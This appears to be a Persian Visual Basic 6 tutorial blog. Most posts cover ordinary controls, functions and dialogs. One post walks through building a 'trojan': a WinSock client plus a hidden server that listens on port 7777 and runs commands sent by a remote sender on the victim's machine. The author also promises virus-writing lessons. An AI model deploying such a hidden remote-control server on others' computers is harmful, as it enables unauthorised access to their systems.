|
آموزش برنامه نویسی
|
||
|
آموزش ویژوال بیسیک و ... برای دیدن تمامی مطالب به آرشیو ماهانه مراجعه کنید |
دو سه روز بود که مي خواستم يه مطلبي بنويسم اما چون چيزي به نظرم نميرسيد که آموزش بدم نتونستم تا اينکه امروز به بهونه يک آموزش کوچولو ولي کاربردي اومدم .
قبل از اينکه کارم رو شروع کنم بايد از کساني که به من و به وبلاگ خودشون نظر ميدن تشکر کنم. همچنين از داداش کامران هم به خاطر مطالبي که گذاشتن ممنونم .
پاسخ به دو سه تا نظر ( خيلي کمه بابا ابروي مارو شما يه روزي پيش رفيق رفقا مي بريد.
ولي عيبي نداره نوبت منم ميشه .) و بعد هم ميريم سر آموزش.
زينب از من کمکي خواسته بود که متآسفانه نه پاسخشو بلد بودم(الگوريتم انحصاري چي چيه ديگه؟) و نه با اينترنت و وبلاگ در ارتباط بودم . شرمنده.![]()
الهام گفته بود که ميخواد مربع هاي تو در تو بسازه براي اين کار شما بايد مختصات Z مربع بزرگتون از همه بيشتر باشه و مختصات Z مربع کوچيکتون هم از همه کمتر(البته در حالت منفي) باشه به عبارت ديگه مربع بزرگه بايد زير همه مربع ها باشه . اگه اين توضيحات کمکت کرد ( فکر نمي کنم چون خودم نفهميدم چي گفتم)خوب الحمد الله در غير اين صورت بگو سورسشو برات بزارم .
آقا داوود دستور داده بودن آموزش کاربا کنترل WinSock رو آموزش بدم که ميگم :
نمي تونم ................................. شوخي کردم بابا ميگم : به چشم قربان اما جلسه ديگه چون که الآن ميخوام آموزشهاي زير رو بدم:
کار با کنترل هاي :TreeView (نمايش درختي) - StatusBar (نوار وضعيت)
براي اضافه کردن اين کنترلها به جعبه ابزار ويژوال بيسيک اين کارا رو انجام بدين:
?- از منوي Project > Components را بزنيد يا کليدهاي crtl + T را بزنيد که در اين صورت کادر محاوره اي Components باز ميشود که در سربرگ(Tab) به نام Controls ليستي از کنترل هاي شناخته شده توسط ويژوال بيسيک مي آيد که شما بايد به دنبال Microsoft Windows Common Controls 6.0(SP4) a بگردين و تيک کنار اون رو فعال کنيد و بعد هم OK کنيد.
TreeView
شما حتمآ حالت نمايش درختي را ديده ايد و بسيار از امکانتش بهرهمند شده ايد.
براي اينکه ياد بگيرين از اين کنترل چگونه استفاده کنيد ابتدا بايد بدانيد که ساختار درختي به صورتي است که در آن يک شاخه اصلي وجود دارد که شاخه هاي فرعي به آن منتصل شده اند. به شاخه هاي فرعي گره(Node)هم گفته مي شود. ما بايد ابتدا شاخه اصلي يا تنه را بسازيم و بعد گره ها را درست کنيم. براي يادگيري کامل به مثال زير توجه کنين:
ابتدا يک کنترل TreeView از جعبه ابزار به فرم اضافه کنيد . حالا اندازه آن را به طور دلخواه تغيير دهيد . روي فرم دابل کليک کنيد تا پنجره کدها و روال Form_Load باز شود.
حالا يک متغير از نوع Node به اسم MainNode تعريف مي کينم به اين صورت:
Dim MainNode as Node
و بعد هم یک متغیر دیگه به اسم ChidNode
Dim ChildNode as Node
بعد هم باید شروع کنیم به ست کردن متغیر ها . برای درست کردن شاخه اصلی به این صورت عمل میکنیم:
Set MainNode = TreeView1.nodes.add( , , "Main" , "Main") 'x
حالا ما شاخه اصلی رو ساختیم . بهتره الآن یه بار برنامه را اجرا کنید و نتیجه را ببینید.
شما میتونید به تعداد دلخواه شاخه درست کنید فقط کافیه به جای Main یک اسم دیگه بزارید.
برای ساختن گره ها یا شاخه های فرعی به جای ست کردن متغیر MainNode متغیر ChildNode را ست می کنیم . توجه داشته باشید که اگر بخواهید یک شاخه فرعی یا گره رو به یک تنه ( که در اینجا اسم تنه Main هست) متصل کنیم باید به صورت زیر عمل کنیم:
Set ChildNode = TreeView1.Nodes.Add("Main" , tvwChild , "Node1" , "Node1") 'x
همون طور که در خط بالا می بینید آرگومان اول Nodes.Add را برابر اسم تنه گذاشتیم و در آرگومان دوم از ثابت tvwChild استفاده کردیم که نشان دهنده این است که گره ای که قرار است اضافه شود زیر شاخه Main است. آرگومان سوم کلمه کلیدی یا یک شناسه است که برای گره ای که ساخته ایم قرار میدهیم در آرگومان چهارم هم خاصیت Text یا به عبارت دیگر کلمه ای که قرار است نمایش داده شود را اضافه کردیم.
در این حالت هم شما می تونید به تعداد دلخواه گره درست کنید فقط باید "Node1" رو در دو آرگومان آخر تغییر بدین.
توضیحات بالا در کل به این صورت است:
Private Sub Form_Load() 'x
Dim MainNode as Node
Dim ChildNode as Node
Set MainNode = TreeView1.Nodes.Add(,, "Main" , "Main") 'x
Set ChildNode = TreeView1.Nodes.Add ( "Main" , tvwChild , "Node1" , "Node1") 'x
End Sub
شاید با این توضیحات درهم من چیزی دستگیرتون نشده باشه. در هر حال برای اینکه خوب بتونم آموزشم رو کامل کنم از یکی دو تا مثال استفاده می کنم.
مثال ۱ : نمایش درایو های موجود در My Computer .
یک پروژه جدید از نوع استاندارد باز کنید سپس یک کنترل TreeView به فرم برنام اضافه کنید و خاصیت آن را برابر TreeView1 قرار دهید .
حالا روی فرم برنامه دابل کلیک کنید تا روال Form_Load باز شود . کدهای زیر رو بنویسید.
Private Sub Form_Load()
Dim N as Node
Dim FSO , Drives
Set N = TreeView1.Nodes.Add(, , "HD" , "My Computer") 'x
set Fso = CreateObject("Scripting.FileSystemObject") 'x
Set Drives = Fso.Drives
For Each Drive In Drives
If Drive.isready then Set N = TreeView1.Nodes.Add("HD" , tvwChild , drive , drive) 'x
Next
End Sub
کنترل TreeView قابلیت های بسیاری داره مثل اضافه کردن یک عکس یا + و - در کنار گره ها. اگه خواستین بگین تا بعضی از قابلیت هاش رو براتون آموزش بدم.
Status Bar
کار با کنترل Status Bar بسیار سادست و نیازی به توضیحات بسیار زیاد نداره.
براي اضافه کردن اين کنترلها به جعبه ابزار ويژوال بيسيک اين کارا رو انجام بدين:
?- از منوي Project > Components را بزنيد يا کليدهاي crtl + T را بزنيد که در اين صورت کادر محاوره اي Components باز ميشود که در سربرگ(Tab) به نام Controls ليستي از کنترل هاي شناخته شده توسط ويژوال بيسيک مي آيد که شما بايد به دنبال Microsoft Windows Common Controls 6.0(SP4) a بگردين و تيک کنار اون رو فعال کنيد و بعد هم OK کنيد.
حالا کنترل Status Bar به جعبه ابزار شما اضافه شده . یکی از این کنترل ها رو به فرم برنامه اضافه کنید.
هر کنترل StatusBar یک خاصیت به نام Panels دارد که هر پنل یک خانه در StatusBar است.
هنگامی که شما یک کنترل StatusBar به فرم برنامه تون اضافه می کنید به صورت پیش فرض یک پنل برای شما ساخته می شود . اگر می خواهید تعداد پنل ها را زیاد کنید از کد زیر استفاده کنید.
StatusBar1.Panels.Add 2 , , "Iran" 'x
در خط بالا ۲ نشان دهنده ی شماره اندیس پنل جدید است. اگر میخواهید بیش از دو پنل داشته باشید کافی است خط بالا را دوباره بنویسید و ۲ را به ۳ تغییر دهید.
مثال:نمایش ساعت در StatusBar .
ابتدا یک کنترل StatusBar به فرم اضافه کنید و به خاصیت Name کنترل دست نزنید. یک تایمر هم به فرم اضافه کنید و خاصیت Interval کنترل تایمر رو به ۱۰۰۰ تغییر دهید . از منوی View روی Code کلیک کنید تا پنجره کدها باز شود و کدهای زیر رو بنویسید.
Private Sub Timer1_Timer
StatusBar1.Panels(1).Text = Time
End Sub
خوب این پست هم تموم شد.
نظر یادتون نره.
خداحافط شما.![]()
با سلام.
من حسین دوست آقا علی هستم. بنده هم از این به بعد توی این وبلاگ آموزش برنامه نویسی رو شروع میکنم.
امروز هم برای اولین پستم، اینجا، آموزش ساخت یک Activex یا کامپوننت خیلی خیلی ساده رو که خودم ساختم میذارم، البته توی این آموزش فقط میخوام بگم که شما خودتون هم خیلی راحت میتونین با VB ، کامپوننت و Activex مورد نیازتون رو بسازین و هیچ ارزش دیگه ای نداره
.
توی این تمرین ما قرار هست که یک به اصطلاح کنترل یا همون کامپوننت که ساعت رو به ما نشون میده و ما میتونیم در زمان اجرا با کلیک راست روی اون، رنگ پشت زمینه، نوع قلم و رنگ قلم رو تغییر بدیم، بسازیم.
برای دیدن تمرین روی ادامه مطلب کلیک کنین.
به وبلاگ خودم هم یه سری بزنین. آموزش فتوشاپ، فلش، مایا، VB و غیره.
با نظراتون به بهتر شدن وبلاگ کمک کنید.
سلام به تمام بروبچ .
امروز جلسه سوم آموزش ویژوال بیسیک رو میزارم در امروز در حدود ۲۵ تا از توابع داخلی ویژوال بیسیک رو معرفی میکنیم و به کار کردن با اونها میپردازیم.
۱- تابع ABS قدر مطلق یک عدد رو برمیگردونه.
۲- تابع sin سینوس یک زاویه را برمیگردونه.
۳- تابع Cos کسینوس یک زاویه رو برمیگردونه.
۴- تابع Tan تانژانت یک زاویه رو برمیگردونه.
۵- تابع SQR جذر یک عدد رو برمیگردونه.
۶- تابع Atn آرک تانژانت یک عدد رو برمیگردونه.
۷- تابع RND یک عدد رو به صورت تصادفی و شانسی بر میگردونه.
۸- تابع Int جزء صحیح عدد اعشاری رو برمیگردونه.(مثل( Int(1.8 که عدد ۱ رو برمیگردونه.)
۹- تابع Fix این تابع قسمت اعشاری عدد را در صورت وجود حذف میکنه.
۱۰- تابع SGN علامت یک عدد رو برمیگردونه و علامت های اون به صورت زیر است:
|
اگر عدد |
مقدار برگشتی تابع |
|
+باشد |
۱ |
|
۰ باشد |
۰ |
|
- باشد |
۱- |
۱۱- تابع Val یک عدد را که به صورت رشته ای است به صورت عددی در می آورد.
۱۲- تابع ASC یک حرف یا کاراکتر رو دریافت میکنه و عدد اسکی اون رو برمیگردونه.
۱۳ - تابع Chr یک عدد رو میگیره و کاراکتر اسکی آن عدد رو نشون میده .(عدد بین ۰ تا ۲۵۵)
۱۴- تابع DateSerial روز و ماه و سال را میگیرد و میان آنها علامت ممیز قرار میدهد و به تاریخ تبدیل میکند
۱۵- تابع DIR فایلهایی که در داخل یک درایو یا فولدر هستن بر اساس فرمت آنها برمیگرداند.
۱۶- تابع Environ با گرفتن یک عدد بزرگتر از ۰ مشخصات سیستم رو بر اساس اون عدد برمیگردونه.
۱۷- تابع FileCopy باگرفتن نشانی مبدا و نشانی مقصد یک فایل رو از مبدا به مقصد کپی میکنه.
۱۸- تابع FileLen نشانی یک فایل را میگیرد و حجم آن را بر حسب بایت برمیگرداند.
۱۹- تابع Hour یک ساعت (مثل ۱۰:۵۵:۱۱ ) رو میگیره و ساعت اون رو برمیگردونه .
۲۰- تابع Minute یک ساعت رو مثل تابع بالا میگیره و دقیقه اون رو برمیگردونه.
۲۱- تابع Second یک ساعت رو مثل بالا میگیره و ثانیه اون رو برمیگردونه.
۲۲- تابع Left یک رشته رو میگیره و به تعداد دلخواه ازسمت چپ اون رشته حرف جدا میکنه و برمیگردونه.مثل(Left("Hello",2 که مقدار برگشتی اون برابر با He میشه.
۲۳- تابع Right مثل تابع Left عمل میکنه با این تفاوت که از سمت چپ حروف رو انتخاب میکنه.
۲۴- تابع StrReverse یک رشته رو میگیره و برعکس اون رو بر میگردونه.مثل strReverse("Ali")0 که مقدار برگشتی اون برابر با ilA است.
این توابعی که گفته شد از جمله مهمترین توابع ویژوال بیسیک بودند امیدوارم به شما کمک کنند.
اگر توابع بیشتری خواستین میتونین در قسمت نظرات بگین.
فعلا گودی بای.
و اما از امروز به بعد به آموزش متوسط و پیشرفته ویژوال بیسیک میپردازم.به نظر من مطالبی که قبلا توضیح دادم برای یک فرد مقدماتی کافیه و از اینجا به بعد شروع به حرفه ای شدن میکنه.![]()
![]()
![]()
میریم سر اصل مطلب و اونم اینه که امروز آموزش کار با API های ویندوز و ساخت تروجان توسط ویژوال بیسیک میپردازیم.(همون طور که قول داده بودم در جلسه های بعد به آموزش های پیشرفته تر میپردازم)
خوب!!!!!
دیگه چرت و پرت گفتن کافیه و ما باید به آموزشمون بپردازیم . شما میتوانید سوال های خودتون رو در قسمت نظرات بگین و من رو توی زحمت بندازین و باعث بشین که من خودم رو آزمایش کنم.![]()
توابع API در واقع توابع داخلی ویندوز هستند.به وسیله توابع API ویندوز ما میتونیم هرکاری که در ویندوز قابل انجام است در ویژوال بیسیک و در برنامه های خودمون انجام دهیم.کارهایی که ویندوز انجام میده مثلا فایل های صوتی با فرمت های گوناگون رو پخش میکنه - باعث میشه که ما به اینترنت متصل بشیم باعث میشه که کارهای گرافیکی قدرتمند بکنیم - باعث میشه که فایلها رو فشره کنیم و هزاران کار دیگه. تمام روتین های API ویندوز در درون کتابخانه های با لینک دینامیک یا (DLL (Dynamic Link Library قرار دارند. چون این فایل ها به همراه ویندوز عرضه و نصب میشوند در تمامی رایانه هایی که با سیستم عامل ویندوز کار میکنند وجود دارند .
از جمله DLL های مهم و پرکاربرد ویندوز میتوان به DLL های زیر اشاره کرد:
User32.DLL
GDI32.DLL
Kernel32.DLL
ما برای استفاده از توابع API باید آنها را فراخوانی کنیم.برای فراخوانی یک روتین API ازدستور Declare استفاده میکنیم که شکل کلی این دستور به صورت زیر است:
Private Declare [Sub or Function] procName Lib "LibraryName" [Alias "asAlias"] 'xxx
در فراخوانی یک تابع API ابتدا آن را به صورت Private یا Public بعد Declare مینویسیم سپس میگوییم که ساب روتین(Sub) باشد یا فانکشن (Function) . کلمه procName نام تابعی است که ما میخواهیم از آن استفاده کنیم و LibraryName نام کتابخانه DLL ای است که این تابع در آن کتابخانه است.
شما برای مشاهده توابع API ویندوز میتونین با رفتن به Start و AllPrograms و Microsof VB6 و بعد رفتن به شاخه Microsof VB6 Tools و اجرا کردن برنامه API Viewer توابع API ویندوز رو مشاهده کنین.
برای اینکه با توابع API بیشتر آشنا بشین یک مثال ساده و زیبا براتون میزنم.
نمونه برنامه ۱: یک پروژه استاندارد باز کنید و روی فرم خودتون یک عدد دکمه فرمان(Command1) قرار بدین سپس از منوی View در ویژوال بیسیک گزینه Code را بزنید با این کار پنجره کدها باز میشود .در قسمت General پنجره کد دستورات زیر را بنویسید:
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
به علت اینکه مرورگر اینترنت شما نمیتونه کل این تابع رو در یک خط نمایش بده ممکنه که ۲ یا ۳ خط بشه اگه مشکلی پیش اومد بگین تا سورس این برنامه رو بزارم.
بعد از پنجره کدها خارج شوید و روی دکمه فرمانی که روی فرم گذاشتین دوبار کلیک کنید و سپس کدهای زیر رو بنویسید:
Private Sub Command1_Click
MciSendString "Set CDAudio Door Open" ,0 ,0 ,0
End Sub
بعد برنامه رو اجرا کنین و روی دکمه فرمان خودتون کلیک کنید تا نتیجه کار رو ببنید . بعد از کلیک شدن دکمه فرمان باید سی دی رام شما بیرون بیاد.اگر مشگلی پیش اومد بگو تا راهنماییت کنم.
شما میتونین برای بستن در سی دی رام خودتون در روال کلیک دکمه فرمان به جای عبارت Open عبارت Closed رو بنویسین.
چطور بود حالی بردینا.![]()
API های بسیار زیادی وجود داره که اگر یه سایت بخواد دونه دونه توضیحشون بده فقط بیشتر از یک ماه تایپ کنه .
اما کلیه API های ویندوز به دردخور نیستند و باید دروشون ریخت و فقط تعداد اندکی از آنها برای استفاده در ویژوال بیسیک به صرفه است.
در قسمت بعد نیز که نحوه نوشتن تروجان با ویژوال بیسیک است API های ویندوز رو بیشتر آموزش میدم پس با ما همراه باشید!!!!!!!!!![]()
آموزش ساخت تروجان با ویژوال بیسیک
خوب در این جلسه چگونگی ساخت تروجان با ویژوال بیسیک رو آموزش میدم.
در این جلسه شما ابتدا با یک تروجان (مانند Sub 7 ) آشنا میشین و قسمت های مختلف اون رو مورد تجزیه و تحلیل قرار میدینو بعد با یک مثال ساده یک تروجان نسبتا پر قدرت میسازین.
کار تروجان به این صورت است که ابتدا فایل سرور را به یک نفر ارسال میکند و با اجرا شدن این فایل سرور کامپیوتر شخص بدبخت(Victim) برای کار تروجان ما یک راه باز میزاره.برای اینکه به کامپیوتر شخصی فایل سرور(Server) را ارسال کنیم نیاز به یک آدرس یا نشانی داریم که نشانی میتونه IP باشه یا میتونه نام کامپیوتر فرد قربانی باشه.بعد از اینکه تروجان ما به کامپیوتر فرد قربانی متصل بشه (مثل زالو بهش بچسبه) اطلاعاتی رو برای کامپیوتر فرد قربانی ارسال میکنه که این اطلاعات میتونند کارهایی از قبیل روشن خاموش کردن مانیتور باز و بسته کردن در سی دی درایو و کارهایی از این قبیل انجام بده.
برای اینکه ما بتونیم به کامپیوتر فرد قربانی متصل بشیم به یک منبع و یا یک کنترل احتیاج داریم که اطلاعات ما رو از طریق شبکه به کامپیوتر فرد قربانی بفرسته.در ویژوال بیسیک کنترلی وجود داره که این کار رو انجام میده که اسم این کنترل Win Socket است.
نمونه برنامه برای یادگیری ساخت تروجان :
قبل از شروع باید بگم به خاطر اینکه سایتی که فایل های تصویری رو بشه داخلش آپلود کرد گیر نیاوردم نتونستم عکس رو همره با آموزش بزارم اگه مشگلی پیش اومد حتما بگین یا اگه کسی یه سایت که بشه داخلش عکس آپلود کرد بلده بگه ممنون میشم.![]()
ابتدا یک پروژه جدید از نوع Standard EXE باز کنید.
برای ساخت برنامه Clint با زدن کلیدهای ترکیبی Ctrl + T یا با کلیک کردن گزینه Components از منوی Project جعبه گفتگوی انتخاب کنترل ها را باز کنید.سپس به دنبال Microsoft WinSock Control 0.6 بگردین و چک بوکس کنار اون رو فعال کنین تا کنترل Win Sock به جعبه ابزار شما اضافه بشه . شکل کنترل WinSock یه چیزی مثل ۲ تا کامپیوتر ه که با یک خط به هم متصل شدند.
با دوبار کلیک کردن روی کنترل WinSock اون رو به فرمتون اضافه کنید.
۶ عدد دکمه فرمان (Command) به فرمتون اضافه کنین و بعد از اون ۱ عدد تکست بوکس (Text Box) دیگر به فرم اضافه کنین.
خاصیت کنترل ها به صورت زیر هست:
| ردیف | نام کنترل | خصوصیت Caption |
| ۱ | Command1 | Connect |
| 2 | Command2 | !Open The CDRom |
| 3 | Command3 | Close The CDRom |
| 4 | Command4 | Run OSK |
| 5 | Command5 | Run NotPad |
| 6 | Command6 | Close Trojan |
شما میتونید به سلیقه خودتون کنترل ها رو روی فرم قرار بدین.
نوشتن کد برنامه:
روی دکمه فرمان Connect دابل کلیک کنید تا روال مربوط به کلیک شدن دکمه فرمان Command1 با بشه سپس کدهای زیر رو بنویسید:
Private sub Command1_Click
WinSock1.Close
WinSock1.Connect Text1.Text , 7777
End Sub
در قطعه کد بالا کنترل WinSock از طریق Ip که در Text1 نوشته میشه با پورت ۷۷۷۷ به کامپیوتر قربانی متصل میشه.
در مرحله دوم روی دکمه فرمان Open CD Rom دوبار کلیک کنید.و بعد قطعه کد زیر را بنویسید:
Private Sub Command2_Click
Dim strData as String
"strData = "OPENCD
WinSock1.SendData strData
End Sub
در قطعه کد بالا با فشرده شدن دکمه فرمان Open CDRom ابتدا یک متغیر از نوع رشته ای درست میشه و در خط بعد مقدار متغیر ما (OPEN) برابر با OPENCD میشه و بعد مقدار متغیر برای کامپیوتر قربانی فرستاده میشه.
مرحله سوم:روی دکمه فرمان Close CDRom دابل کیک کنید و سپس کدهای زیر را بنویسید:
Private Sub Command3_Click
Dim strData as String
"strData = "CLOSECD
WinSock1.SendData strData
End Sub
مرحله چهارم:روی دکمه فرمان Run OSK دابل کلیک کنید و سپس قطعه کد زیر رو بنویسید:
Private Sub Command4_Click
Dim strData as String
"strData = "RunWindowOSK
WinSock1.SendData strData
End Sub
مرحله پنجم:روی دکمه فرمان Run Note Pad دابل کلید کنید و قطعه کد زیر رو بنویسید:
Private Sub Command5_Click
Dim strData as String
"strData = "RunWindowNotePad
winSock1.SendData strData
End Sub
مرحله ششم: روی دکمه فرمان Close Trojan دوبار کلیک کنید و قطعه کد زیر رو بنویسید:
Private Sub Command6_Click
Dim strData as String
"strData = "CloseMe
WinSock1.SendData strData
End Sub
مرحله ششم برای تروجان ما مرحله مهمی است که باعث میشه که اتصال رو با فرد قربانی قطع کنیم و به برنامه پایان دهیم.
مرحله هفتم: روی کنترل WinSock خودتون دوبار کلیلک کنید و در روال رویداد Connect کنترل WinSock قطعه کدهای زیر رو بنویسید:
Private Sub WinSock1_Connect
"WinSock1.SendData "Trojan
End Sub
مرحله هشتم:حالا در روال رویداد DataArival کنترل WinSock قطعه کد زیر را بنویسید:
(Private Sub WinSock1_DataArival(Byval BytesTotal as Long
Dim StrData as String
WinSock1.GetData StrData , vbString
End Sub
با قطعه کدهایی که در بالا نوشتیم تازه برنامه Clint رو ساختیم و تازه حدود ۳۰ درصد کارو انجام دادیم![]()
برای ساختن کامل برنامه و همچنین ساخت برنامه Server باید کارهای زیر رو انجام بدهید تا ۷۰ درصد دیگه کار انجام بشه.
ابتدا یک پروژه دیگه از نوع Standard EXE باز کنید و یک کنترل WinSock به نام WinSock1 به فرم خودتون اضافه کنید.
حالا میریم سراغ API های ویندوز اگه جلسه قبل رو مطالعه کرده باشین با این تابع API آشنا هستید . کار این تابع اینه که باعث میشه در CDRom یا Writer باز و بسته بشه.
با بازکردن پنجر کد (پنجره ViewCode ) در قسمت General کدها قطعه کد زیر رو بنویسید:
Private Declare Function mciSendString Lib "Winmm.dll" Alias "mciSendStringA" (Byval lpstrCommand as String , Byval lpstrReturnString as String , Byval uReturnLength as Long , Byval hwndCallBack as Long) as Long
حالا برای اینکه سرور ما دستوراتی که از Clint میاد اجرا کنه ما برای اون دستورات چند تا تابع مینویسیم
در ابتدا تابع باز شدن در CDRom رامینویسیم . در قسمت General پنجره کد کدهای زیر را بنویسید:
Private Function EjectCD
mciSendString "Set CDAudio Door Open" , 0 , 0 , 0
End Function
بعد از تابع بالا تابع بسته شدن درب CDRom رو مینویسیم:
Private Function CloseCD
mciSendString "Set CDAudio Door Closed" , 0 , 0 , 0
End Function
حالا از پنجره View Code خارج بشین و روی فرم خودتون دابل کلیک کنید و در روال رویدار Load فرم کدهای زیر رو بنویسید:
Private Sub Form1_Load
WinSock1.LocalPort = 7777
WinSock1.Listen
Form1.Hide
End Sub
در خط اول نوشتیم که کنترل WinSock فقط از طریق پورت ۷۷۷۷ ارتباط برقرار کند و در خط دوم به برنامه سرور دستور Listen (گوش دادن) به Clint داده شد و در خط سوم فرم سرور مخفی بشه.
حالا از پنجره ViewCode خارج بشین و در روال رویداد ConnectionRequest کنترل WinSock کدهای زیر رو بنویسید:
(Private Sub WinSock1_ConnectionRequest (ByVal RequestID as Long
If WinSock1.State <> sckClosed then WinSock1.Close
WinSock1.Accept RequestID
End Sub
خوبه خوبه تا فعلا ۸۵ درصد کارها رو انجام دادین برای تکمیل کارها در روال رویداد DataArival کنترل WinSock قطعه کد زیر رو بنویسید:
(Private Sub WinSock1_DataArival (ByVal bytesTotal as Long
DoEvents
Dim strData as String
(Call WinSock1.GetData (strData$ , vbString
DoEvent
Select Case strData
"Case "CloseMe
Unload Me
"Case "OPENCD
EjectCD
"Case "CLOSECD
CloseCD
"Case "RunWindowOSK
"shell "OSK.exe
"Case "RunWindowNotePad
"Shell "NotePad.exe
End Select
End Sub
خوب حالا میتونین یه نفس راحت بکشین چون که کار ما تموم شد برای تست کردن برنامه در کامپیوتر خودتون ابتدا هر دو برنامه که ساختین (Clint and Server) اجرا کنین بعد درداخل Text1 در برنامه Clint شماره ۱۲۷.۰.۰.۱ رو بنویسید و بعد دکمه Connect رو بزنین و بعد بازدن دکمه فرمان های OpenCDRom و CloseCDRom و غیره برنامتون رو تست کنین و حالشو ببرین.![]()
خوب بالاخره جلسه سوم هم به پایان رسید و من از شما یه خواهش کوچولو دارم
نظر بده و سوالات خودت رو بپرس مطمعن باش جوابتو میگیری.
قبل از شروع آموزش قسمت دوم ویژوال بیسیک باید بگم نظر دادنتون خیلی بد بود اصلا کسی نظر نداد ماهم خیط شدیم رفت پیش رفیق رفقا آبرومون رفت.
پس نظر یادتون نره.
صحبتی برای برنامه نویس های حرفه ای و متوسط:یه مژده برای افراد متوسط و حرفه ای دارم که بعد از نوشتن قسمت سوم آموزش ویژوال بیسیک به آموزش حرفه ای ویژوال بیسیک میپردازیم. آموزش های پیشرفته و حرفه ای درس چهارم عبارتند از : نوشتن برنامه های گرافیکی سه بعدی در ویژوال بیسیک توسط DirectX و OpenGL .آموزش ساخت تروجان با ویژوال بیسیک . آموزش ساخت ویروس با ویژوال بیسیک و ...![]()
پس چی داداش ضرری نداره دوباره به وبلاگ من سربزنی.![]()
خوب میریم سراغ آموزش قسمت دوم ویژوال بیسیک اون هم در حد مقدماتی.
در درس امروز درباره جعبه پیام ها جعبه گفتگو و کنترل تایمر صحبت هایی میکنیم.
جعبه پیام ها:
جعبه پیام ها در ویژوال بیسیک بسیار کاربرد دارند به طوری که تمامی برنامه هایی که شما در سیستم عاملتان از آن استفاده میکنید دارای جعبه پیام های متعددی هستند و باعث میشوند که برنامه با کاربر بیشتر ارتباط برقرار کند و باعث حرفه ای تر شدن برنامه ما شود.
در ویژوال بیسیک جعبه پیام ها به دو دسته تقسیم میشوند که عبارتند از:
۱- جعبه پیام هایی که فقط پیام را به کاربر نشان میدهند و یک فرمان از کاربر میگیرند.(MsgBox).
۲- جعبه پیام هایی که علاوه بر نشان دادن پیام یک رشته و یک فرمان از کاربر دریافت میکند.(InputBox).
1- MsgBox
MsgBox خود یک تابع است که یک جعبه پیام به کاربر نشان میدهد.شکل پایین.![]()

در شکل بالا شما مشاهده می کنید که جعبه پیام ما یک عنوان(Title) و یک آیکون و تعدادی دکمه فرمان است.
ساختار کلی تابع MsgBox به صورت زیر است.
به این صورت: (MsgBox (Prompt,IntStyle,Title
که در شکل بالا Prompt همون جمله ای است که به پیام را میرساند.در شکل بالا(Do You WantTo Exit)
در تابع MsgBox ; دکمه فرمان ها آیکون جعبه پیام و تعداد دکمه فرمان ها توسط IntStyle مشخص میشود در زیر در مورد آرگومان IntStyle بیشتر صحبت میکنیم.
vbOkOnly دکمه OK
vbOKCancel دکمه های OK و Cancel
vbAbortRetryIgnore دکمه های Abort,Retry,Ignore
vbYesNoCancel دکمه های Yes,No,Cancel
vbYesNo دکمه های Yes,No
vbRetryCancel دکمه های Retry,Cancel
آیکون هایی که می توان استفاده کرد به شرح زیر است:
vbCritical 
vbQuestion 
vbExclamation 
vbInformation 
بین دکمه و ایکون باید علامت + بگذاریم. مقدارهایی که جعبه پیام می تواند بر گرداند به شرح زیر است:
|
نام ثابت |
مقدار |
|
vbOK |
1 |
|
vbCancel |
2 |
|
vbAbort |
3 |
|
vbRetry |
4 |
|
vbIgnore |
5 |
|
vbYes |
6 |
|
vbNo |
7 |
برای بهتر یادگرفتن شما یک مثال ساده میزنیم.
مثال: یک دکمه فرمان روی فرمتون قرار بدین(CommandButton) سپس روی اون دوبارکلیک کنید تا پنچره کد باز شود سپس در روال رویداد Command1_click کدهای زیر را بنویسید.
MsgBox "Do you want to Exit" , VBQuestion + vbYesNo , "Question
سپس برنامه رو اجرا کنید و روی دکمه فرمان کلیک کنید و نتیجه کار خودتون رو ببینید.
شما برای یادگیری بهتر میتونید در مثال بالا به جای VBQuestion , vbYesNo مقادیر دیگری را قرار دهید.
توجه داشته باشید که اگر فقط (MsgBox (Prompt را بنویسید و آرگومان های دیگر را مقدار دهی نکنید جعبه پیام نمایش داده میشود ولی آیکون و عنوان ندارد و فقط یک دکمه فرمان دارد.امتحانش ضرر نداره.
مثال : در مثال یک به جای اینکه کل کد رو بنویسید فقط این رو بنویسید:
MsgBox "Do You Want To Exit
در تابع MsgBox می توان فهمید که کاربر کدام دکمه فرمان را کلیک کرده برای فهمیدن اینکه کاربر کدام دکمه فرمان جعبه پیام را زده است باید به صورت زیر عمل کنیم.
ابتدا باید یک متغیر از نوع عدد صحیح تعریف کنیم.سپس متغیر را برابر با تابع MsgBox قرار دهیم و با استفاده از یکی از دستورات شرطی If یا Select Case دستوراتی را که باید اجرا شوند بنویسیم.
مثال ۱: ابتدا یک Command Button روی فرم قرار دهید سپس کدهای زیر را بنویسید:
Dim X as Integer
Private Sub Command1_Click
("X = MsgBox ("Do You Want To Exit" , vbQuestion + VbYesNo , "Question
If X = 6 then
End
Else
Exit Sub
End If
End Sub
تذکر اگر با کپی کردن کدها دچار مشکلی شدید خودتان آنها را بنویسید.
۲- InputBox
جعبه پیام InputBox جعبه پیامی است که از کاربر سوالی میکند و جواب را دریافت میکند.شکل زیر.

جعبه گفتگو ها در ویژوال بیسیک باعث می شود برنامه های شما پیشرفته تر شود و کاربران از کار کردن با برنامه شما لذت ببرند.
جعبه گفتگو ها در ویژوال بیسیک به شش(۶) دسته تقسیم میشوند که عبارتند از:
۱- جعبه گفتگوی انتخاب رنگ : گفتگویی که به کاربر امکان انتخاب رنگ مورد نظر و حتی دستکاری آن ها رامی دهد.
۲- انتخاب فونت: گفتگویی برای انتخاب فونت ونوع و اندازه و سبک آنها.
۳- باز کردن فایل: گفتگویی برای باز کردن فایل از پوشه ها و درایوها حتی درایو های شبکه.
۴- سیو(ذخیره کردن) فایل: گفتگویی برای ذخیره کردن فایل در پوشه ها و درایوها.
۵- چاپ: گفتگویی برای انتخاب چاپگر و سایر تنظیمات آن.
۶- کمک ویندوز: سیستم کمک ویندوز را فعال میکند و اگر برنامه شما دارای کمک باشد امکان استفاده از آن را برای کاربران فراهم می آورد.
برای اضافه کردن کنترل جعبه گفتگو به برنامه خود باید:
۱- بازدن کلیدهای ترکیبی Ctrl + T (از منوی Project گزینه Components را می زنیم) گفتگوی Components را باز کنید .
۲- کنترل Microsoft Common Dialog Control 6.0 را پیدا کنید و آن را تیک بزنید.
۳- دکمه OK را بزنید تا این کنترل به جعبه ابزارتان اضافه شود.
----------------------------------------------------------------------------------------------------------->>
متدهای کنترل جعبه گفتگو عبارتند از:
۱- Show Open گفتگوی باز کردن فایل را نمایش خواهد داد.
۲- Show Save گفتگوی ذخیره کردن فایل را نمایش میدهد.
